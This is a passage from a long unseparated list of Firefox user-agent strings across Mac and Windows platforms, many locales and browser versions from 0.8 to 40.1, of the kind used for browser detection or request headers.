Firefox/2.0.0.15 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.6) Gecko/20040206 Firefox/0.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.13) Gecko/20060410 Firefox/1.0.8 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7) Gecko/20040614 Firefox/0.9 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1.4) Gecko/20070515 Firefox/2.0.4 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1b1) Gecko/20060707 Firefox/2.0b1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.1b1) Gecko/20061110 Firefox/2.0b3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8) Gecko/20060320 Firefox/2.0a1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8) Gecko/20060322 Firefox/2.0a1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.9a1) Gecko/20061204 Firefox/3.0a1 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; es-ES; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; rv:1.7.3) Gecko/20040913 Firefox/0.10 Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; rv:1.8.1.16) Gecko/20080702 Firefox Mozilla/5.0 (Microsoft Windows NT 6.2.9200.0); rv:22.0) Gecko/20130405 Firefox/22.0 Mozilla/5.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.13) Firefox/3.6.13 Mozilla/5.0 (U; Windows NT 5.1; en-GB; rv:1.8.1.17) Gecko/20080808 Firefox/2.0.0.17 Mozilla/5.0 (Windows 98; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Mozilla/5.0 (Windows NT 5.0; rv:21.0) Gecko/20100101 Firefox/21.0 Mozilla/5.0 (Windows NT 5.0; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Windows NT 5.0; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Windows NT 5.0; WOW64; rv:6.0) Gecko/20100101 Firefox/6.0 Mozilla/5.0 (Windows NT 5.1; rv:11.0) Gecko Firefox/11.0 Mozilla/5.0 (Windows NT 5.1; rv:12.0) Gecko/20120403211507 Firefox/12.0 Mozilla/5.0 (Windows NT 5.1; rv:14.0) Gecko/20120405 Firefox/14.0a1 Mozilla/5.0 (Windows NT 5.1; rv:15.0) Gecko/20100101 Firefox/13.0.1 Mozilla/5.0 (Windows NT 5.1; rv:1.9a1) Gecko/20060217 Firefox/1.6a1 Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Windows NT 5.1; rv:2.0b13pre) Gecko/20110223 Firefox/4.0b13pre Mozilla/5.0 (Windows NT 5.1; rv:2.0b8pre) Gecko/20101127 Firefox/4.0b8pre Mozilla/5.0 (Windows NT 5.1; rv:2.0b9pre) Gecko/20110105 Firefox/4.0b9pre Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20100101 Firefox/21.0 Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20130331 Firefox/21.0 Mozilla/5.0 (Windows NT 5.1; rv:21.0) Gecko/20130401 Firefox/21.0 Mozilla/5.0 (Windows NT 5.1; rv:31.0) Gecko/20100101 Firefox/31.0 Mozilla/5.0 (Windows NT 5.1; rv:6.0) Gecko/20100101 Firefox/6.0 FirePHP/0.6 Mozilla/5.0 (Windows NT 5.1; rv:8.0; en_us) Gecko/20100101 Firefox/8.0 Mozilla/5.0 (Windows NT 5.1; U; de; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Mozilla/5.0 (Windows NT 5.1; U; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Windows NT 5.1; U; tr; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Mozilla/5.0 (Windows NT 5.1; U; zh-cn; rv:1.8.1) Gecko/20091102 Firefox/3.5.5 Mozilla/5.0 (Windows NT 5.2; rv:2.0b13pre) Gecko/20110304 Firefox/4.0b13pre Mozilla/5.0 (Windows NT 5.2; U; de; rv:1.8.0) Gecko/20060728 Firefox/1.5.0 Mozilla/5.0 (Windows NT 5.2; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Windows NT 6.0; rv:14.0) Gecko/20100101 Firefox/14.0.1 Mozilla/5.0 (Windows NT 6.0; U; hu; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Mozilla/5.0 (Windows NT 6.0; U; sv; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Mozilla/5.0 (Windows NT 6.0; U; tr; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Mozilla/5.0 (Windows NT 6.0; WOW64; rv:24.0) Gecko/20100101 Firefox/24.0 Mozilla/5.0 (Windows NT 6.1.1; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Windows NT 6.1; de;rv:12.0) Gecko/20120403211507 Firefox/12.0 Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/12.0 Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/20120403211507 Firefox/14.0.1 Mozilla/5.0 (Windows NT 6.1; rv:12.0) Gecko/ 20120405 Firefox/14.0.1 Mozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20100101 Firefox/18.0.1 Mozilla/5.0 (Windows NT 6.1; rv:14.0) Gecko/20120405 Firefox/14.0a1 Mozilla/5.0 (Windows NT 6.1; rv:15.0) Gecko/20120716 Firefox/15.0a2 Mozilla/5.0 (Windows NT 6.1; rv:1.9) Gecko/20100101 Firefox/4.0 Mozilla/5.0 (Windows NT 6.1; rv:2.0b10) Gecko/20110126 Firefox/4.0b10 Mozilla/5.0 (Windows NT 6.1; rv:2.0b10pre) Gecko/20110113 Firefox/4.0b10pre Mozilla/5.0 (Windows NT 6.1; rv:2.0b11pre) Gecko/20110126 Firefox/4.0b11pre Mozilla/5.0 (Windows NT 6.1; rv:2.0b6pre) Gecko/20100903 Firefox/4.0b6pre Firefox/4.0b6pre Mozilla/5.0 (Windows NT 6.1; rv:2.0b7pre) Gecko/20100921 Firefox/4.0b7pre Mozilla/5.0 (Windows NT 6.1; rv:2.0) Gecko/20110319 Firefox/4.0 Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20100101 Firefox/21.0 Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130328 Firefox/21.0 Mozilla/5.0 (Windows NT 6.1; rv:21.0) Gecko/20130401 Firefox/21.0 Mozilla/5.0 (Windows NT 6.1; rv:22.0) Gecko/20130405 Firefox/22.0 Mozilla/5.0 (Windows NT 6.1; rv:27.3) Gecko/20130101 Firefox/27.3 Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20100101 Firefox/19.0 Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20100101 Firefox/7.0 Mozilla/5.0 (Windows NT 6.1; rv:6.0) Gecko/20110814 Firefox/6.0 Mozilla/5.0 (Windows NT 6.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Mozilla/5.0 (Windows NT 6.1; U; ru; rv:5.0.1.6) Gecko/20110501 Firefox/5.0.1 Firefox/5.0.1 Mozilla/5.0 (Windows NT 6.1; U;WOW64; de;rv:11.0) Gecko Firefox/11.0 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:14.0) Gecko/20120405 Firefox/14.0a1 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:16.0.1) Gecko/20121011 Firefox/21.0.1 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b10pre) Gecko/20110118 Firefox/4.0b10pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b11pre) Gecko/20110128 Firefox/4.0b11pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b11pre) Gecko/20110129 Firefox/4.0b11pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b11pre) Gecko/20110131 Firefox/4.0b11pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101128 Firefox/4.0b8pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b8pre) Gecko/20101213 Firefox/4.0b8pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.0b9pre) Gecko/20101228 Firefox/4.0b9pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:22.0) Gecko/20130328 Firefox/22.0 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.2a1pre) Gecko/20110208 Firefox/4.2a1pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.2a1pre) Gecko/20110323 Firefox/4.2a1pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:2.2a1pre) Gecko/20110324 Firefox/4.2a1pre Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:23.0) Gecko/20131011 Firefox/23.0 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/25.0 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:25.0) Gecko/20100101 Firefox/29.0 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:5.0) Gecko/20110619 Firefox/5.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:11.0) Gecko Firefox/11.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:15.0) Gecko/20120427 Firefox/15.0a1 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:18.0) Gecko/20100101 Firefox/18.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b11pre) Gecko/20110128 Firefox/4.0b11pre Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b6pre) Gecko/20100903 Firefox/4.0b6pre Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7) Gecko/20100101 Firefox/4.0b7 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b7) Gecko/20101111 Firefox/4.0b7 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0b8pre) Gecko/20101114 Firefox/4.0b8pre Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20100101 Firefox/21.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130330 Firefox/21.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130331 Firefox/21.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:21.0) Gecko/20130401 Firefox/21.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:23.0) Gecko/20130406 Firefox/23.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:29.0) Gecko/20120101 Firefox/29.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:31.0) Gecko/20130401 Firefox/31.0 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:40.0) Gecko/20100101 Firefox/40.1 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110612 Firefox/6.0a2 Mozilla/5.0 (Windows NT 6.1; WOW64; rv:6.0a2) Gecko/20110613 Firefox/6.0a2 Mozilla/5.0 (Windows NT 6.2; rv:21.0) Gecko/20130326 Firefox/21.0 Mozilla/5.0 (Windows NT 6.2; rv:22.0) Gecko/20130405 Firefox/22.0 Mozilla/5.0 (Windows NT 6.2; rv:22.0) Gecko/20130405 Firefox/23.0 Mozilla/5.0 (Windows NT 6.2; rv:9.0.1) Gecko/20100101 Firefox/9.0.1 Mozilla/5.0 (Windows NT 6.2; Win64; x64;) Gecko/20100101 Firefox/20.0 Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1 Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:16.0.1) Gecko/20121011 Firefox/21.0.1 Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:21.0.0) Gecko/20121011 Firefox/21.0.0 Mozilla/5.0 (Windows NT 6.2; Win64; x64; rv:27.0) Gecko/20121011 Firefox/27.0 Mozilla/5.0 (Windows NT 6.2; WOW64; rv:15.0) Gecko/20120910144328 Firefox/15.0.2 Mozilla/5.0 (Windows NT 6.2; WOW64; rv:16.0.1) Gecko/20121011 Firefox/16.0.1 Mozilla/5.0 (Windows NT 6.2; WOW64; rv:21.0) Gecko/20130514 Firefox/21.0 Mozilla/5.0 (Windows NT 6.2; WOW64; rv:5.0) Gecko/20100101 Firefox/5.0 Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0 Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7) Gecko/20040803 Firefox/0.9.3 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.6) Gecko/20040206 Firefox/0.8 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.13) Gecko/20060410 Firefox/1.0.8 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2 (ax) Mozilla/5.0 (Windows; U; Win98; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Win98; es-ES; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.7.6) Gecko/20050318 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Win98; fr-FR; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Win98; rv:1.7.3) Gecko/20040913 Firefox/0.10 Mozilla/5.0 (Windows; U; Win98; rv:1.7.3) Gecko/20041001 Firefox/0.10.1 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.6) Gecko/20040206 Firefox/0.8 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (Windows; U; Win 9x 4.90; rv:1.7) Gecko/20040803 Firefox/0.9.3 Mozilla/5.0 (Windows; U; Windows NT 4.0; en-US; rv:1.8.0.2) Gecko/20060418 Firefox/1.5.0.2; Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.6) Gecko/20040206 Firefox/0.8 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.6) Gecko/20040206 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.6) Gecko/20050223 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7) Gecko/20040626 Firefox/0.9.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7) Gecko/20040803 Firefox/0.9.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.0; de; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-GB; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.6) Gecko/20040206 Firefox/0.8 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040707 Firefox/0.9.2 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040803 Firefox/0.9.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.15) Gecko/20080623 Firefox/2.0.0.15 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1.4) Gecko/20070509 Firefox/2.0.0 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4 Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.9.0.2) Gecko/2008092313 Firefox/3.1.6 Mozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.0; es-ES; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr-FR; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.0; fr; rv:1.8.1.17) Gecko/20080829 Firefox/2.0.0.17 Mozilla/5.0 (Windows; U; Windows NT 5.0; it; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.0; pl; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.0; ru; rv:1.9.1.13) Gecko/20100914 Firefox/3.5.13 Mozilla/5.0 (Windows; U; Windows NT 5.0; rv:1.7.3) Gecko/20040913 Firefox/0.10 Mozilla/5.0 (Windows; U; Windows NT 5.0; rv:1.7.3) Gecko/20040913 Firefox/0.10.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; rv:1.7.3) Gecko/20041001 Firefox/0.10.1 Mozilla/5.0 (Windows; U; Windows NT 5.0; zh-TW; rv:1.8.0.1) Gecko/20060111 Firefox/0.10 Mozilla/5.0 (Windows; U; Windows NT 5.1; ca; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.8.1.18) Gecko/20081029 Firefox/2.0.0.18 Mozilla/5.0 (Windows; U; Windows NT 5.1; cs; rv:1.9.2.20) Gecko/20110803 Firefox/3.6.20 Mozilla/5.0 (Windows; U; Windows NT 5.1; da-DK; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.6) Gecko/20040206 Firefox/0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050223 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7) Gecko/20040626 Firefox/0.9.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7) Gecko/20040803 Firefox/0.9.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.9.2.20) Gecko/20110803 Firefox Mozilla/5.0 (Windows; U; Windows NT 5.1; de-LI; rv:1.9.0.16) Gecko/2009120208 Firefox/3.0.16 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.19) Gecko/20081201 Firefox/2.0.0.19 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1.20) Gecko/20081217 Firefox/2.0.0.21 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.1) Gecko/2008070208 Firefox/3.0.0 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.2pre) Gecko/2008082305 Firefox/3.0.2pre Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.4) Firefox/3.0.8) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.0.8) Gecko/2009032609 Firefox/3.07 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.1.4) Gecko/20091007 Firefox/3.5.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.0.04506.30) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2 (.NET CLR 3.0.04506.648) Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9) Gecko/2008052906 Firefox/3.0.1pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.6) Gecko/20050226 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.6) Gecko/20050321 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.1b2) Gecko/20060821 Firefox/2.0b2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.13) Gecko/2009073022 Firefox/3.0.13 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.0.6) Gecko/2009011913 Firefox Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 GTB7.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.16) Gecko/20101130 Firefox/3.5.16 GTB7.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1.4) Gecko/20091016 Firefox/3.5.4 (.NET CLR 3.5.30729; .NET4.0E) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.1b4) Gecko/20090423 Firefox/3.5b4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.14) Gecko/20110218 Firefox/3.6.14 GTB7.1 (.NET CLR 3.5.30729) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.9.2.16) Gecko/20110319 AskTbUTR/3.11.3.15590 Firefox/3.6.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.7.10) Gecko/20050716 Firefox/1.0.5 Mozilla/5.0 (Windows; U; Windows NT5.1; en; rv:1.7.10) Gecko/20050716 Firefox/1.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en; rv:1.9.1.13) Gecko/20100914 Firefox/3.6.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6) Gecko/20040206 Firefox/0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.13) Gecko/20060410 Firefox/1.0.8 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050223 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050225 Firefox/1.0.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.6) Gecko/20050317 Firefox/1.0.2 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.7) Gecko/20050414 Firefox/1.0.3 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.9) Gecko/20050711 Firefox/1.0.5 (ax) Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040614 Firefox/0.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040707 Firefox/0.9.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7) Gecko/20040803 Firefox/0.9.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.10pre) Gecko/20070211 Firefox/1.5.0.10pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.11) Gecko/20070312 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.12) Gecko/20070508 Firefox/1.5.0.11 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060309 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060406 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.2) Gecko/20060419 Firefox/1.5.0.2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.3) Gecko/20060426 Firefox/1.5.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.4) Gecko/20060508 Firefox/1.5.0.3 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.11) Gecko/20071127 Firefox/2.0.0.13 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.16) Gecko/20080702 Firefox/2.0.9.9 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.17pre) Gecko/20080715 Firefox/2.0.0.8pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.21) Gecko/20090403 Firefox/1.1.16 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.2pre) Gecko/20070118 Firefox/2.0.0.2pre Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b1) Gecko/20060707 Firefox/2.0b1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b1) Gecko/20060710 Firefox/2.0b1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1b2) Gecko/20060821 Firefox/2.0b2 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050729 Firefox/1.0+ Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b4) Gecko/20050908 Firefox/1.4 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8b5) Gecko/20051006 Firefox/1.4.1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8) Gecko/20060319 Firefox/2.0a1 Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.13) Gecko/2009073022 